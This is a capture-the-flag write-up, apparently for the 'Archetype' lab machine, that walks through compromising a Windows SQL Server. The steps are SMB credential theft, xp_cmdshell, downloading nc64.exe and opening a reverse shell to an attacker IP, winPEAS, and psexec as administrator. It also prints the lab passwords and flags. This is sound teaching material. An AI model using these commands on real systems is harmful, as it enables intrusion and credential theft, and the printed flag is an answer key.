# Archetype

{% file src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FW3GRGybazT7VbmRAidYx%2FArchetype_Write_Up.pdf?alt=media&token=a1a6e45a-8205-442c-921c-8c62e63e2dc2" %}

**Task 1: Which TCP port is hosting a database server?**

* Run quick nmap scan

```
nmap [Target IP]
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FHcbjIZoaRCiE8WTA0bYU%2Fimage.png?alt=media&#x26;token=45391f31-f12a-4dc8-acf6-572fc99bf384" alt=""><figcaption></figcaption></figure>

Port 1433 is hosting a Microsoft SQL Server.

**Task 2: What is the name of the non-Administrative share available over SMB?**

* Run the following command

```
smbclient -N -L \\\\[Target IP]\\
```

* **-N** suppresses the password prompt
* **-L** specifies for a list of available shares

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FYAEgKzUXBRBp6Y7DLfLb%2Fimage.png?alt=media&#x26;token=8e538c65-ceb7-47e3-be1b-20bb2d09830a" alt=""><figcaption></figcaption></figure>

Looks like the non-administrative share is **backups**.

**Task 3: What is the password identified in the file on the SMB share?**

* Typically there is an anonymous account that can be used to access public shares.
* Run the following and hit enter when asked for a password.

```
smbclient \\\\[Target IP]\\backups -U Anonymous
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FsO92yAuifXCQf6KS17Z4%2Fimage.png?alt=media&#x26;token=728448cf-86ea-40fc-9fd5-01a75551db1a" alt=""><figcaption></figcaption></figure>

* This shows a file in there. Run the following to download the file to your host machine.

```
get prod.dtsConfig
```

* Cat the file.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FWlOs2ScPELAweCDLlQmH%2Fimage.png?alt=media&#x26;token=c6a43e20-8e84-499d-b2d0-cbf8eafc9d4b" alt=""><figcaption></figcaption></figure>

* This shows a password of **M3g4c0rp123** for user **sql\_svc** and for host **ARCHETYPE**

**Task 4: What script from Impacket collection can be used in order to establish an authenticated connection to a Microsoft SQL Server?**

* On Kali, cd into the directory that typically houses impacket tools.

```
/usr/share/doc/python3-impacket/examples
```

* The module that can be used to establish a connection to a MS SQL Server is `mssqlclient.py`

**Task 5: What extended stored procedure of Microsoft SQL Server can be used in order to spawn a Windows command shell?**

* Run the following to use the tool with the credentials we recovered from the previous challenge.

```
python3 mssqlclient.py ARCHETYPE/sql_svc@{TARGET_IP} -windows-auth
```

* Utilizing the `-windows-auth` flag will use Windows Authentification

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2Fiy8j1J9ECVga9ijNA2uf%2Fimage.png?alt=media&#x26;token=05e07bc6-dcd5-4974-82bf-9bc239092afc" alt=""><figcaption></figcaption></figure>

* Then run:

```
help
```

* This will display the different options which shows xp\_cmdshell will execute a command shell

**Task 6: What script can be used in order to search possible paths to escalate privileges on Windows hosts?**

* Similar to linPEAS we can use [winPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe) to search for privilege escalation paths. Use the link below to download the winPEAS exe.

{% embed url="https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fpull%2F260%2Fmerge/winPEASx64.exe" %}

**Task 7: What file contains the administrator's password?**

Here are two links to the means of working with this tool and interacting with the database.

{% embed url="https://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet" %}

{% embed url="https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server" %}

* First start by enabling the command shell

```
enable_xp_cmdshell
```

* Now you can run command shell commands with the following:

```
xp_cmdshell [CMD]
```

* We will want to run command with powershell so we will need to input commands in this format:

```
xp_cmdshell "powershell -c [Command]"
```

* The `-c` flag issues the command in powershell

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FuF456YVC3NgTmk0hFt59%2Fimage.png?alt=media&#x26;token=3136760d-65e8-44ff-95f7-8a6752073e20" alt=""><figcaption></figcaption></figure>

* We will not be able to download files to the current directory because we are in the systems folder which means we would need to be the administrator to do it.
* We can however download it in the user, **sql\_svc**, Download folder. This directory should be:

```
C:\Users\sql_svc\Downloads
```

* Next is to download a reverse shell for Windows called [nc64.exe](https://github.com/int0x33/nc.exe/blob/master/nc64.exe?source=post_page-----a2ddc3557403----------------------).
* Start up a python web server in the directory that you downloaded the reverse shell in.

```
python3 -m http.server 80
```

* Next is to download the reverse shell from the python web server from the target machine with the following command:

```
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://[Host IP]/nc64.exe -outfile nc64.exe"
```

* Verify it was successful by checking the web server

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FouopLBViYE7ffEyfG8Bm%2Fimage.png?alt=media&#x26;token=5145c1ec-f286-489a-99db-37ea09434ad1" alt=""><figcaption></figcaption></figure>

* Start up a netcat listener to port 443 which the reverse shell will connect back to:

```
nc -lvnp 443
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FaP9xreOttE9jcvD8xCuL%2Fimage.png?alt=media&#x26;token=1852af94-6ee5-4d82-b19e-5764fdbdfa1d" alt=""><figcaption></figcaption></figure>

* Next is to run the reverse shell from the target machine in the Downloads folder.

```
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe 10.10.15.41 443"
```

* Now check the netcat listener you have set up. You should now have a reverse shell to the system.

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2Fanl4xv5h7Wa1euRxZXMz%2Fimage.png?alt=media&#x26;token=64cef9ed-6df1-446b-af1c-ea63aace784e" alt=""><figcaption></figcaption></figure>

* Now that we have an interactive shell with the target machine, let's download winPEAS and run it on the target machine.
* Start by downloading [winPeas](https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fpull%2F260%2Fmerge/winPEASx64.exe) to your host machine and move to the folder that you still have the python web server running on.
* On your reverse shell redirect to the Downloads folder which you can download files to as the current user.

```
cd C:\Users\sql-svc\Downloads
```

* Run the following command to run powershell for the remaining commands.

```
powershell
```

* Run the next command to download winPEAS to the target machine from the python web server.

```
wget http://[Host IP]/winPEASx64.exe -outfile winPEASx64.exe
```

* Now we want to run winPEAS on the target machine. This will auto-enumerate the machine to look for possible privilege escalation paths and other useful information.

```
.\winPEASx64.exe
```

* At the end of the analysis it will kick out some files it found that it believes are important.

![](https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2Fl9ok7bfByQYk4sd1pekS%2Fimage.png?alt=media\&token=64f70283-c180-43b9-8e76-7414c435ad4a)

* The answer to this task is **ConsoleHost\_history.txt**

**Capture User Flag:**

* The flag can be found in **C:\Users\sql-svc\Desktop\user.txt** . Run the following to view it.

```
type C:\Users\sql_svc\Desktop\user.txt
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FhDwZVOXyBTcSsD2KTppc%2Fimage.png?alt=media&#x26;token=6d79d055-c587-46eb-8b4a-b5b24356c4e7" alt=""><figcaption></figcaption></figure>

**Capture Root Flag:**

* Looking through the winPEAS output we have found that **SeImpersonatePrivilege** is enabled

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FsuVCViqRbMzXqmlU690a%2Fimage.png?alt=media&#x26;token=d498c932-d214-44c6-94a0-9806cc1c780e" alt=""><figcaption></figcaption></figure>

* This can be exploited using [Juicy Potatoes](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/juicypotato).
* Before we do that though, let's check the `ConsoleHost_history.txt` file which is similar to `.bash_history` file for linux. This will display past commands that were run which may include some important information.
* Redirect to the following directory and run type to view the file:

```
type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
```

<figure><img src="https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FJmHOMfSwrTjpJGieTVYi%2Fimage.png?alt=media&#x26;token=dd61c7cf-9e7e-4397-9a6e-a7d381f90269" alt=""><figcaption></figcaption></figure>

* Looks like we have some juicy credentials for the administrator. Their password is `MEGACORP_4dm1n!!`
* Let's open a new tab on the host machine and use the `psexec.py` tool from Impacket to login to the administrator's account.

```
cd /usr/share/doc/python3-impacket/examples
```

```
python3 psexec.py administrator@[Target IP]
```

![](https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2FZz3HGUKGQb8BcY6Tn8sb%2Fimage.png?alt=media\&token=78805818-b41b-4bcd-a597-464211ff0f94)

* The root.txt file is on the administrator's desktop. Run the following to view the file.

```
type C:\Users\Administrator\Desktop\root.txt
```

![](https://4124809220-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FlcxVqdgOGpkobti7mzML%2Fuploads%2F9AzQ8sCUQzB1AgyauSBg%2Fimage.png?alt=media\&token=67f8a829-242c-48bb-8ce7-e8560e063426)

* The flag is **b91ccec3305e98240082d4474b848528**

